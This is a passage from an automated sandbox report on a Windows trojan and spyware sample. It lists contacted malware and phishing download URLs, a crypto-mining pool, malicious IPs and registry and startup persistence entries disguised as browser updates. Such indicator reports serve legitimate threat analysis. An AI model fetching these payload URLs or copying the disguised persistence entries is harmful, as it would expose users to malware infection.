clients2.googleusercontent.com	unknown	unknown	false	high
pool.supportxmr.com	unknown	unknown	false	high
mdec.nelreports.net	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://a0621298.xsph.ru/443.exe	false		high
http://unicupload.top/install5.exe	true	URL Reputation: phishing	unknown
http://a0621298.xsph.ru/7.exe	false		high
https://transfer.sh/get/VrsVTW/2.exe	false		high
http://185.7.214.171:8080/6.php	true	URL Reputation: malware	unknown
http://host-data-coin-11.com/	false	URL Reputation: safe	unknown
https://transfer.sh/get/QbPlFD/G.exe	false		high
http://a0621298.xsph.ru/442.exe	false		high
http://privacy-tools-for-you-780.com/downloads/toolspab3.exe	true	14%, Virustotal, Browse Avira URL Cloud: malware	unknown
https://goo.su/abhF	false	Avira URL Cloud: safe	unknown
https://transfer.sh/get/TQL2Nf/1.exe	false		high
http://data-host-coin-8.com/files/6961_1642089187_2359.exe	true	13%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://a0621298.xsph.ru/9.exe	false		high
http://a0621298.xsph.ru/KX6KAZ9Tip.exe	false		high
https://185.233.81.115/32739433.dat?iddqd=1	true	Avira URL Cloud: safe	unknown
http://data-host-coin-8.com/files/7729_1642101604_1835.exe	true	Avira URL Cloud: malware	unknown
http://data-host-coin-8.com/files/9030_1641816409_7037.exe	true	Avira URL Cloud: malware	unknown
http://a0621298.xsph.ru/advert.msi	false		high
http://data-host-coin-8.com/game.exe	false	URL Reputation: safe	unknown
http://a0621298.xsph.ru/123.exe	false		high
http://data-host-coin-8.com/files/8474_1641976243_3082.exe	true	Avira URL Cloud: malware	unknown
https://cdn.discordapp.com/attachments/903666793514672200/930134152861343815/Nidifying.exe	false		high
http://a0621298.xsph.ru/c_setup.exe	false		high
http://a0621298.xsph.ru/3.exe	false		high
http://a0621298.xsph.ru/RMR.exe	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://www.disneyplus.com/legal/your-california-privacy-rights	svchost.exe, 0000000F.00000002.431855823.000001F297B75000.00000004.00000001.sdmp, svchost.exe, 0000000F.00000003.399071133.000001F298002000.00000004.00000001.sdmp, svchost.exe, 0000000F.00000003.399178119.000001F297BA0000.00000004.00000001.sdmp, svchost.exe, 0000000F.00000003.399101971.000001F298003000.00000004.00000001.sdmp, svchost.exe, 0000000F.00000003.399207999.000001F298021000.00000004.00000001.sdmp, svchost.exe, 0000000F.00000003.399159191.000001F297B8F000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
https://api.ip.sb/ip	CBE6.exe, 00000019.00000002.467115286.0000000003F71000.00000004.00000001.sdmp, CBE6.exe, 00000029.00000000.460150165.0000000000402000.00000040.00000001.sdmp	false	URL Reputation: safe	unknown
https://www.tiktok.com/legal/report/feedback	svchost.exe, 0000000F.00000003.404987703.000001F297BA3000.00000004.00000001.sdmp, svchost.exe, 0000000F.00000003.404785613.000001F298002000.00000004.00000001.sdmp, svchost.exe, 0000000F.00000003.404636697.000001F298019000.00000004.00000001.sdmp, svchost.exe, 0000000F.00000003.404578487.000001F298019000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
https://www.disneyplus.com/legal/privacy-policy	svchost.exe, 0000000F.00000002.431855823.000001F297B75000.00000004.00000001.sdmp, svchost.exe, 0000000F.00000003.399071133.000001F298002000.00000004.00000001.sdmp, svchost.exe, 0000000F.00000003.399178119.000001F297BA0000.00000004.00000001.sdmp, svchost.exe, 0000000F.00000003.399101971.000001F298003000.00000004.00000001.sdmp, svchost.exe, 0000000F.00000003.399207999.000001F298021000.00000004.00000001.sdmp, svchost.exe, 0000000F.00000003.399159191.000001F297B8F000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
https://disneyplus.com/legal.	svchost.exe, 0000000F.00000002.431855823.000001F297B75000.00000004.00000001.sdmp, svchost.exe, 0000000F.00000003.399071133.000001F298002000.00000004.00000001.sdmp, svchost.exe, 0000000F.00000003.399178119.000001F297BA0000.00000004.00000001.sdmp, svchost.exe, 0000000F.00000003.399101971.000001F298003000.00000004.00000001.sdmp, svchost.exe, 0000000F.00000003.399207999.000001F298021000.00000004.00000001.sdmp, svchost.exe, 0000000F.00000003.399159191.000001F297B8F000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://help.disneyplus.com.	svchost.exe, 0000000F.00000002.431855823.000001F297B75000.00000004.00000001.sdmp, svchost.exe, 0000000F.00000003.399071133.000001F298002000.00000004.00000001.sdmp, svchost.exe, 0000000F.00000003.399178119.000001F297BA0000.00000004.00000001.sdmp, svchost.exe, 0000000F.00000003.399101971.000001F298003000.00000004.00000001.sdmp, svchost.exe, 0000000F.00000003.399207999.000001F298021000.00000004.00000001.sdmp, svchost.exe, 0000000F.00000003.399159191.000001F297B8F000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown

Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public

IP	Domain	Country	ASN	ASN Name	Malicious
188.166.28.199	unknown	Netherlands	14061	DIGITALOCEAN-ASNUS	true
86.107.197.138	unknown	Romania	39855	MOD-EUNL	false
54.38.220.85	unicupload.top	France	16276	OVHFR	false
104.21.38.221	goo.su	United States	13335	CLOUDFLARENETUS	false
93.189.42.167	host-data-coin-11.com	Russian Federation	41853	NTCOM-ASRU	false
144.76.136.153	transfer.sh	Germany	24940	HETZNER-ASDE	false
185.233.81.115	unknown	Russian Federation	50113	SUPERSERVERSDATACENTERRU	true
185.7.214.171	unknown	France	42652	DELUNETDE	true
162.159.129.233	cdn.discordapp.com	United States	13335	CLOUDFLARENETUS	false
185.186.142.166	unknown	Russian Federation	204490	ASKONTELRU	true
141.8.194.74	a0621298.xsph.ru	Russian Federation	35278	SPRINTHOSTRU	false

Private

IP
192.168.2.1

General Information

Joe Sandbox Version:	34.0.0 Boulder Opal
Analysis ID:	552986
Start date:	14.01.2022
Start time:	02:02:36
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 14m 44s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	PPsa8TXVuy.exe
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	45
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	2
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@40/25@93/12
EGA Information:	Successful, ratio: 100%
HDC Information:	Successful, ratio: 28% (good quality ratio 21.2%) Quality average: 59.5% Quality standard deviation: 39.7%
HCA Information:	Successful, ratio: 58% Number of executed functions: 96 Number of non-executed functions: 317
Cookbook Comments:	Adjust boot time Enable AMSI Found application associated with file extension: .exe
Warnings:	Show All Behavior information exceeds normal sizes, reducing to normal. Report will have missing behavior information. Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, BackgroundTransferHost.exe, consent.exe, backgroundTaskHost.exe, conhost.exe, svchost.exe, wuapihost.exe Excluded IPs from analysis (whitelisted): 20.54.110.249, 40.91.112.76, 13.89.179.12, 52.168.117.173, 80.67.82.83, 80.67.82.97, 142.250.185.74, 142.250.185.106, 142.250.185.138, 142.250.185.170, 142.250.185.202, 142.250.185.234, 172.217.18.106, 142.250.181.234, 172.217.16.138, 216.58.212.170, 142.250.74.202, 142.250.186.42, 142.250.186.74, 142.250.186.106, 142.250.186.138, 142.250.186.170 Excluded domains from analysis (whitelisted): js.monitor.azure.com, onedsblobprdeus16.eastus.cloudapp.azure.com, displaycatalog-rp-uswest.md.mp.microsoft.com.akadns.net, avatars.githubusercontent.com, patmushta.info, clientservices.googleapis.com, sincheats.com, onedsblobprdcus17.centralus.cloudapp.azure.com, wus2-displaycatalogrp.frontdoor.bigcatalog.commerce.microsoft.com, arc.msn.com, r4---sn-5hne6nzs.gvt1.com, mdec.nelreports.net.akamaized.net, go.microsoft.com, clients2.google.com, redirector.gvt1.com, consumer-displaycatalogrp-aks2aks-europe.md.mp.microsoft.com.akadns.net, a1883.dscd.akamai.net, consumer-displaycatalogrp-aks2aks-uswest.md.mp.microsoft.com.akadns.net, displaycatalog.mp.microsoft.com, img-prod-cms-rt-microsoft-com.akamaized.net, watson.telemetry.microsoft.com, accounts.google.com, content-autofill.googleapis.com, displaycatalog-rp-europe.md.mp.microsoft.com.akadns.net, github.com, neu-displaycatalogrp.frontdoor.bigcatalog.commerce.microsoft.com, iplogger.org, www.googleapis.com, r5---sn-5hne6nzs.gvt1.com, ris.api.iris.microsoft.com, browser.events.data.microsoft.com, blobcollector.events.data.trafficmanager.net, displaycatalog-rp.md.mp.microsoft.com.akadns.net, docs.microsoft.com, wcpstatic.microsoft.com Not all processes where analyzed, report is missing behavior information Report creation exceeded maximum time and may have missing disassembly code information. Report size exceeded maximum capacity and may have missing behavior information. Report size exceeded maximum capacity and may have missing disassembly code. Report size exceeded maximum capacity and may have missing network information. Report size getting too big, too many NtAllocateVirtualMemory calls found. Report size getting too big, too many NtEnumerateKey calls found. Report size getting too big, too many NtOpenKeyEx calls found. Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
02:04:13	Task Scheduler	Run new task: Firefox Default Browser Agent 6C61D5AFB70B88F7 path: C:\Users\user\AppData\Roaming\fjsvubj
02:04:24	API Interceptor	7x Sleep call for process: svchost.exe modified
02:04:29	API Interceptor	1x Sleep call for process: C29C.exe modified
02:04:48	API Interceptor	1x Sleep call for process: WerFault.exe modified
02:05:10	Task Scheduler	Run new task: mjlooy.exe path: C:\Users\user\AppData\Local\Temp\82aa4a6c48\mjlooy.exe
02:05:24	Autostart	Run: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\start ChromeUpdate.lnk
02:05:40	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run Driver C:\Users\user\AppData\Roaming\Sysfiles\setup_m.exe
02:06:02	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run Driver C:\Users\user\AppData\Roaming\Sysfiles\setup_m.exe

Joe Sandbox View / Context

IPs

No context

Domains

No context

ASN

No context

JA3 Fingerprints

No context

Dropped Files

No context

Created / dropped Files

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_A975.exe_98bfde7644eefcd32cbfb70a3c04167e50419_5bd9b42d_130a3911\Report.wer Download File
Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Little-endian UTF-16 Unicode text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.81183831166517
Encrypted:	false
SSDEEP:	96:/TFGLjHMvOQoJ7R3V6tpXIQcQec6tycEfcw3W+HbHg/8BRTf3o8Fa9iVfOyWYmBc:72jHr8HQ0lrjIq/u7sNS274Itb
MD5:	B5A7729FA8D990DA2A417F81EBF4D227
SHA1:	E4D611BBAEEAF63073BBEAFD56FCE27AE9F6A037
SHA-256:	E8FDCE0379D838CADC25BA9B33E62042DCCFE8CB2C001A109E6BDDE8A578B12F
SHA-512:	6C2E50A1A1D0C36173D749BDFD3D4752387A5B7CEBA6A136A12437EACE684C6A7F03969671BEBBF60405F4704BB860EDE060C94FA6646F22C29E3C0CCE00D88D
Malicious:	false
Reputation:	unknown
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.B.E.X.....E.v.e.n.t.T.i.m.e.=.1.3.2.8.6.6.2.8.2.7.1.4.3.6.5.6.2.7.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.2.8.6.6.2.8.2.8.6.5.3.0.2.3.1.9.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.7.d.6.2.0.6.5.4.-.b.6.5.6.-.4.a.6.f.-.a.a.4.c.-.9.5.d.a.a.9.f.d.0.7.8.f.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.b.2.0.7.a.b.c.f.-.3.0.3.4.-.4.0.2.b.-.8.9.8.7.-.9.6.8.9.4.9.4.1.1.d.f.9.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.A.9.7.5...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.2.f.4.-.0.0.0.1.-.0.0.1.c.-.5.8.5.6.-.0.6.1.8.2.e.0.9.d.8.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.c.4.e.3.1.7.f.2.4.8.2.1.3.b.8.7.b.3.3.8.8.9.7.5.7.6.f.a.3.3.d.8.0.0.0.0.2.9.0.1.!.0.0.0.0.5.9.9.5.a.e.9.d.0.2.4.7.0.3.6.c.c.6.d.3.e.a.7.4.1.e.7.5.0.4.c.9.1.3.f.1.f.b.7.6.!.A.9.7.5...e.x.e.....T.a.r.g.e.t.A.p.p.V.e.r.=.2.0.2.1././.1.1././.1.2.:.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER5D16.tmp.csv Download File
Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	60244
Entropy (8bit):	3.04264576921746
Encrypted:	false
SSDEEP:	1536:w2HkN04PWYMaXGmdBaMH6NHX8GnseY0UfMHHHSdeLiSAAi7R5R7Xr5JKmB/+JvYZ:w2HkN04PWYMaXGmdBaMH6NHX8GnnY0UN
MD5:	628973ECED469B67B000C85A4565094F
SHA1:	06454254AC2B3A333E923439E8F61379347E833B
SHA-256:	EFBFA4E8DDC18275977BB66DE14AEDD0F90695C960E930D58BE43121C5D060AE
SHA-512:	858FEED7466B3B508CBC4345AA16C3B74549F7C0AFA6F9B943B6CA92D3C5E61D0BDBA1BB64F7C65E16E11BE33751559A69E7C95FE0A5BC2332389D2D3C80989B
Malicious:	false
Reputation:	unknown
Preview:	I.m.a.g.e.N.a.m.e.,.U.n.i.q.u.e.P.r.o.c.e.s.s.I.d.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.,.W.o.r.k.i.n.g.S.e.t.P.r.i.v.a.t.e.S.i.z.e.,.H.a.r.d.F.a.u.l.t.C.o.u.n.t.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.H.i.g.h.W.a.t.e.r.m.a.r.k.,.C.y.c.l.e.T.i.m.e.,.C.r.e.a.t.e.T.i.m.e.,.U.s.e.r.T.i.m.e.,.K.e.r.n.e.l.T.i.m.e.,.B.a.s.e.P.r.i.o.r.i.t.y.,.P.e.a.k.V.i.r.t.u.a.l.S.i.z.e.,.V.i.r.t.u.a.l.S.i.z.e.,.P.a.g.e.F.a.u.l.t.C.o.u.n.t.,.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.P.e.a.k.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.Q.u.o.t.a.P.e.a.k.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.e.a.k.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.e.a.k.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.r.i.v.a.t.e.P.a.g.e.C.o.u.n.t.,.R.e.a.d.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.W.r.i.t.e.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.O.t.h.e.r.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.R.e.a.d.T.r.a.n.s.f.e.r.C.o.u.n.t.,.W.r.i.t.e.T.r.a.n.s.f.e.r.C.o.u.n.t.,.O.t.h.e.r.T.r.a.n.s.f.e.r.C.o.u.n.t.,.H.a.n.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER6EE9.tmp.txt Download File
Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	13340
Entropy (8bit):	2.6981635437567646
Encrypted:	false
SSDEEP:	96:9GiZYW5pFzvVLY2YCWtcHiYEZv7tCiZOjqIIwM6caXxEoY68IsF3:9jZD5lLhkQUXaBEoY67sF3
MD5:	43170614E27E08D86EEA4D7F706D210C
SHA1:	DC82159A284440098254AD1ADC232125397D3E00
SHA-256:	70C2C90769E9F5D75F886049EBFD82EDB5CE9E368FA33B24693886E463DE156B
SHA-512:	859C93F3FF4CBAF4FEA2E47092CF6F8AECFF486A739C1BD23FB9A2681DFCD82E875709783C74A6D50734711226022663EFEA969FD607D4266AB8C61F2C6FE367
Malicious:	false
Reputation:	unknown
Preview:	B...T.i.m.e.r.R.e.s.o.l.u.t.i.o.n. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.5.6.2.5.0.....B...P.a.g.e.S.i.z.e. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .4.0.9.6.....B...N.u.m.b.e.r.O.f.P.h.y.s.i.c.a.l.P.a.g.e.s. . . . . . . . . . . . . . . . . . . . . . . . . . .1.0.4.8.3.1.5.....B...L.o.w.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.....B...H.i.g.h.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . .1.3.1.0.7.1.9.....B...A.l.l.o.c.a.t.i.o.n.G.r.a.n.u.l.a.r.i.t.y. . . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.i.n.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.a.x.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . .1.4.0.7.3.7.4.8.8.2.8.9.7.9.1.....B...A.c.t.i.v.e.P.r.o.c.e.s.s.o.r.s.A.f.f.i.n.i.t.y.M.a.s.k. . . . . . .

C:\ProgramData\Microsoft\Windows\WER\Temp\WER80EC.tmp.dmp Download File
Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 14 streams, Fri Jan 14 10:04:33 2022, 0x1205a4 type
Category:	dropped
Size (bytes):	36668
Entropy (8bit):	2.119050329150028
Encrypted:	false
SSDEEP:	96:5N8lN8v/5mOVs4JSk1ti7ehEnus9D5a5aB+ViTmE6M+O6C54F8OJWInWIX4IE5zN:cla5rlJvtOeh0kFVivlwC54FkK5c2Iv
MD5:	BF99E047441364304BD88037882CD9C0
SHA1:	0D53D9CC1437C1CEB2712B9E5457DA73733A3EBF
SHA-256:	21EF22E6BAA1556E0F7570D0D9712C0A8BEF50795939328E105FDC2C1CE208A4
SHA-512:	5889E6BB8F9A2476628ED54F0F98DA60B2F8A1D6A16C64F33524E057F42AADAE886DDA91E1B6F9ACFE67FFE7820918A9D555B6B0C5B5D9303A45DDE8D7ED9429
Malicious:	false
Reputation:	unknown
Preview:	MDMP....... ........J.a........................................z%..........T.......8...........T................z..........H...........4....................................................................U...........B..............GenuineIntelW...........T............J.a............................. ..................P.a.c.i.f.i.c. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................P.a.c.i.f.i.c. .D.a.y.l.i.g.h.t. .T.i.m.e...........................................1.7.1.3.4...1...x.8.6.f.r.e...r.s.4._.r.e.l.e.a.s.e...1.8.0.4.1.0.-.1.8.0.4.....................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WER89E6.tmp.WERInternalMetadata.xml Download File
Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Little-endian UTF-16 Unicode text, with CRLF line terminators
Category:	dropped
Size (bytes):	8394
Entropy (8bit):	3.6996153510263974
Encrypted:	false
SSDEEP:	192:Rrl7r3GLNiYy6qsQ6YFSSU/3JZCgmfTRSbCpDJ89b2OsfySm:RrlsNiV6qsQ6YQSUPnCgmfTRSN2Nfu
MD5:	D8BFDE0769404DB9AC94D6459A1831EF
SHA1:	CDD1F214C967BE33735B07984011B525A06CEBB7
SHA-256:	D53AAD52CD0EDA31B3B36B324E47A1EDB6ACE433F07F58EDE1E62C5D977E2FAD
SHA-512:	C6BB85EFACFB3C33ADE00E20A563910054C59DBBA548EA399F3161017F1256039914C2BF53E3D13266AEADF8E6C9C239B0F31D4D9F83C373A7A4575F8FCBFC89
Malicious:	false
Reputation:	unknown
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.7.1.3.4.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.7.1.3.4...1...a.m.d.6.4.f.r.e...r.s.4._.r.e.l.e.a.s.e...1.8.0.4.1.0.-.1.8.0.4.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.1.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.1.0.3.3.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.4.8.5.2.<./.P.i.d.>.......

C:\ProgramData\Microsoft\Windows\WER\Temp\WER91E6.tmp.xml Download File
Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4685
Entropy (8bit):	4.480507863789903
Encrypted:	false
SSDEEP:	48:cvIwSD8zsbYJgtWI9EaWSC8BW8fm8M4JB8qFk5P+q8vO84SS/r9d:uITfyfbSNdJYPKYSS/r9d
MD5:	FF4A4F1718033B728B10BFFE269899A9
SHA1:	E96A2B3B9F0EACD6C6A31313C88BF155B7510BF3
SHA-256:	8DD196D1C0E30ED64A6C9A2F92B5E8C50F4329AD33702B4A72B61BF1EC7A5D1A
SHA-512:	50624AF317306F3B7A719649B01C6DA9E16F653413CF6B9127EFF1FB3BE2740FF98EC085C86177855A7F01E9E3DC68D50EE324EBD1F1041B2C560D8954C06FED
Malicious:	false
Reputation:	unknown
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="17134" />.. <arg nm="vercsdbld" val="1" />.. <arg nm="verqfe" val="1" />.. <arg nm="csdbld" val="1" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="1033" />.. <arg nm="geoid" val="244" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="1341795" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.1.17134.0-11.0.47" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="4096" />..

C:\ProgramData\Microsoft\Windows\WER\Temp\WERA86A.tmp.csv Download File
Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	56178
Entropy (8bit):	3.0513478134411187
Encrypted:	false
SSDEEP:	1536:E7HQ0+xWHAPGgd/aMX7PgM/ZqGTMqTDMcXAlE8eVnfJe/HB5vdIjxJtm8/lJStLe:E7HQ0+xWHAPGgd/aMX7PgM/ZqGTzTDMi
MD5:	4FBB29DA3F5362353067188C7ABBC47C
SHA1:	C3BB8AF630DA4307868F05D9798B858E7D419B55
SHA-256:	111147D98480700AF56123FD68AE26F5428E76C76BEEB78AA96CED23ED59600E
SHA-512:	D1D585593672A12C29D88DBDEF18FE3F0EE74924EBB141A98D484DBE19DDD1389DD6BAD262F96EB3A473BFAA44EEC06CBD21C08E127CAB6B100483F765EE1BED
Malicious:	false
Reputation:	unknown
Preview:	I.m.a.g.e.N.a.m.e.,.U.n.i.q.u.e.P.r.o.c.e.s.s.I.d.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.,.W.o.r.k.i.n.g.S.e.t.P.r.i.v.a.t.e.S.i.z.e.,.H.a.r.d.F.a.u.l.t.C.o.u.n.t.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.H.i.g.h.W.a.t.e.r.m.a.r.k.,.C.y.c.l.e.T.i.m.e.,.C.r.e.a.t.e.T.i.m.e.,.U.s.e.r.T.i.m.e.,.K.e.r.n.e.l.T.i.m.e.,.B.a.s.e.P.r.i.o.r.i.t.y.,.P.e.a.k.V.i.r.t.u.a.l.S.i.z.e.,.V.i.r.t.u.a.l.S.i.z.e.,.P.a.g.e.F.a.u.l.t.C.o.u.n.t.,.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.P.e.a.k.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.Q.u.o.t.a.P.e.a.k.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.e.a.k.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.e.a.k.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.r.i.v.a.t.e.P.a.g.e.C.o.u.n.t.,.R.e.a.d.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.W.r.i.t.e.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.O.t.h.e.r.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.R.e.a.d.T.r.a.n.s.f.e.r.C.o.u.n.t.,.W.r.i.t.e.T.r.a.n.s.f.e.r.C.o.u.n.t.,.O.t.h.e.r.T.r.a.n.s.f.e.r.C.o.u.n.t.,.H.a.n.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERAFDD.tmp.txt Download File
Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	13340
Entropy (8bit):	2.696120771785075
Encrypted:	false
SSDEEP:	96:9GiZYW3oUWmYSYorPWNYHoYEZTvt2iiO/q0wwKEciaaKylniMI3o3:9jZD9FLANRQaKylniL3o3
MD5:	2323C442DAB3B9C978CB5B3340153791
SHA1:	3ABD8B5E927984904975B05C4CD327CFD57A7AE2
SHA-256:	E340A143E44CBA283C0E3808F3DF4BDB22AC197CFB4B01B8DBE7E10567F1110B
SHA-512:	3F5776B0F635BFD9F3091705F1706199B1D9AB8846331BF9156A7F88AB35B896E9AEF11093F59B024A09DE99D3213B7AC92D76495C723D41CE159D958E0B5219
Malicious:	false
Reputation:	unknown
Preview:	B...T.i.m.e.r.R.e.s.o.l.u.t.i.o.n. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.5.6.2.5.0.....B...P.a.g.e.S.i.z.e. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .4.0.9.6.....B...N.u.m.b.e.r.O.f.P.h.y.s.i.c.a.l.P.a.g.e.s. . . . . . . . . . . . . . . . . . . . . . . . . . .1.0.4.8.3.1.5.....B...L.o.w.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.....B...H.i.g.h.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . .1.3.1.0.7.1.9.....B...A.l.l.o.c.a.t.i.o.n.G.r.a.n.u.l.a.r.i.t.y. . . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.i.n.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.a.x.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . .1.4.0.7.3.7.4.8.8.2.8.9.7.9.1.....B...A.c.t.i.v.e.P.r.o.c.e.s.s.o.r.s.A.f.f.i.n.i.t.y.M.a.s.k. . . . . . .

